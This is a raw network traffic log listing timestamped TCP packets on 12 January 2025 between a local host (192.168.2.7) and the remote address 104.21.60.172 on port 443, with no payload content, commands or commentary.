Jan 12, 2025 09:26:25.549284935 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549312115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549362898 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549367905 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549462080 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549469948 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549493074 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549523115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549556017 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549588919 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549593925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549746990 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.549891949 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.549933910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550002098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550002098 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550009966 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550065041 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550081015 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550118923 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550158024 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550162077 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550216913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550216913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550224066 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.550508022 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.550508022 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551110029 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551156998 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551282883 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551282883 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551290989 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551306963 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551343918 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551357031 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551393986 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551445961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551446915 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551455975 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.551476955 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.551714897 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.574484110 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.574539900 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.574595928 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.574604988 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.574620962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.574726105 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636284113 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636341095 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636440039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636440039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636447906 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636516094 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636553049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636585951 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636595011 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636605024 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636821032 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636861086 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636878014 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636885881 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.636908054 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.636926889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637037039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637155056 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637196064 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637233019 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637238979 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637262106 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637279034 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637351990 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637397051 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637430906 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637435913 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637456894 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637571096 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637610912 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637615919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637631893 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637645960 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637682915 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637682915 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.637690067 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.637809038 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638561010 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638606071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638645887 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638653040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638700962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638752937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638765097 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638799906 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638834953 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638843060 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638871908 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.638878107 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.638889074 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.639096975 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.649899006 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.661777973 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.661820889 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.661849976 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.661855936 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.661931992 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.661931992 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.687288046 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.723836899 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.723884106 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.723926067 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.723934889 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.723965883 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.723965883 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724030972 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724071026 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724108934 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724116087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724142075 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724203110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724309921 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724349976 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724383116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724389076 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724425077 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724425077 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724425077 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724622011 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724637032 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724719048 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724719048 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724725962 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724849939 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724895000 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724911928 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.724931955 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.724941015 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.725013971 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.725163937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.725203991 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.725249052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.725255013 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.725275040 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.725333929 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.725984097 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726028919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726075888 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726082087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726130962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726130962 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726140022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726162910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726227045 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726227045 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726382017 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726433992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726458073 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726470947 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.726491928 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.726670027 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.803252935 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.803299904 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.803369045 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.803378105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.803391933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.803512096 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.811379910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811430931 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811449051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.811460018 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811471939 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.811580896 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.811770916 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811814070 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811867952 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.811880112 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.811892986 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812002897 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812046051 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812062979 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812200069 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812206984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812252045 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812267065 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812273979 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812288046 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812314987 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812374115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812378883 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812506914 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812525034 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812567949 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812670946 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812670946 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812676907 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812696934 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812731028 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812779903 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812779903 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.812788010 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.812947989 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.813565969 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.813608885 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.813744068 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.813744068 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.813755035 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.813854933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.923855066 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:25.923871994 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:25.924036026 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.037581921 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.037592888 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.037609100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.037621975 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.037996054 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.038003922 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.038024902 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.038041115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.038321018 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.038321018 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.038330078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.038346052 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.038366079 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039336920 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.039345026 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039360046 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039371967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039505959 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.039513111 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039526939 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.039700031 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.251329899 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.251400948 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.463326931 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.463502884 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:26.883325100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:26.883517981 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:27.715326071 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:27.715389967 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036071062 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036083937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036093950 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036101103 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036159039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036159039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036164999 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036173105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036179066 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036242008 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036246061 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036254883 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036304951 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036308050 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036314964 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036362886 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036366940 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036406994 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036412954 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036416054 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036547899 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036547899 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036554098 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036576033 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036648989 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036660910 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036668062 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036734104 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036737919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036801100 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036801100 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036837101 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.036915064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.036963940 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071516037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071531057 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071543932 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071552992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071649075 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071666956 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071696043 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071727991 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071773052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071773052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071779013 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071799040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071850061 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071850061 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071856022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071870089 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071893930 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071904898 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071919918 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.071935892 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.071942091 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072012901 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072019100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072041035 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072061062 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072067022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072078943 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072144032 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072148085 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072170019 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072177887 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072201014 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072331905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072331905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072402954 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072457075 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072524071 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072524071 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072529078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072590113 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072632074 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072654009 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072658062 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072724104 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072724104 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072736979 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072779894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072810888 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072815895 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072873116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072873116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072907925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072951078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.072971106 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.072974920 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073021889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073021889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073079109 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073146105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073175907 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073182106 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073208094 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073224068 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073271990 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073319912 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073319912 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073324919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.073343039 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.073400974 CET	443	49727	104.21.60.172	192.168.2.7
